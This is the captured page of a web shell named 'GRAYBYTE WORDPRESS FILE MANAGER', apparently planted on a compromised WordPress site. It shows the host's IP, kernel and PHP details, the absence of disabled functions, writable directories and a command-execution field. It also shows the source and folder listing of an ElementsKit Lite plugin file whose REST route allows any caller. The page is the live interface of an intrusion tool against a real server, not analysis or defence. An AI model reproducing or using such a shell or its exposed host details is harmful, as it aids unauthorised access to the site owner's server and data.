GRAYBYTE WORDPRESS FILE MANAGER9553

Server IP : 198.54.121.189 / Your IP : 216.73.216.140
System : Linux premium69.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
PHP Version : 7.4.33
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /home/giriqfky/chahida.co.in/wp-content/plugins/elementskit-lite/core/
Upload Files :
Current_dir [ Writeable ] Document_root [ Writeable ]

Command :


Current File : /home/giriqfky/chahida.co.in/wp-content/plugins/elementskit-lite/core//handler-api.php
<?php 
namespace ElementsKit_Lite\Core;

class Handler_Api {

	public $prefix  = '';
	public $param   = '';
	public $request = null;

	public function __construct() {
		$this->config();
		$this->init();
	}

	public function config() {
	}

	public function init() {
		add_action(
			'rest_api_init',
			function () {
				register_rest_route(
					untrailingslashit( 'elementskit/v1/' . $this->prefix ),
					'/(?P<action>\w+)/' . ltrim( $this->param, '/' ),
					array(
						'methods'             => \WP_REST_Server::ALLMETHODS,
						'callback'            => array( $this, 'callback' ),
						'permission_callback' => '__return_true', 
					// all permissions are implimented inside the callback action
					)
				);
			}
		);
	}

	public function callback( $request ) {
		$this->request = $request;
		$action_class  = strtolower( $this->request->get_method() ) . '_' . $this->request['action'];

		if ( method_exists( $this, $action_class ) ) {
			return $this->{$action_class}();
		}
	}

}

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
July 10 2025 04:32:32
giriqfky / giriqfky
0755
.htaccess
0.41 KB
July 10 2025 04:32:32
giriqfky / giriqfky
0644
activation-actions.php
0.904 KB
May 18 2022 20:49:00
giriqfky / giriqfky
0644
build-inline-scripts.php
1.221 KB
June 20 2022 12:35:04
giriqfky / giriqfky
0644
build-modules.php
0.97 KB
May 18 2022 20:49:00
giriqfky / giriqfky
0644
build-widgets.php
2.433 KB
May 18 2022 20:49:00
giriqfky / giriqfky
0644
config-list.php
1.544 KB
May 24 2022 15:35:52
giriqfky / giriqfky
0644
handler-api.php
0.97 KB
May 18 2022 20:49:00
giriqfky / giriqfky
0644
handler-widget.php
0.706 KB
May 18 2022 20:49:00
giriqfky / giriqfky
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF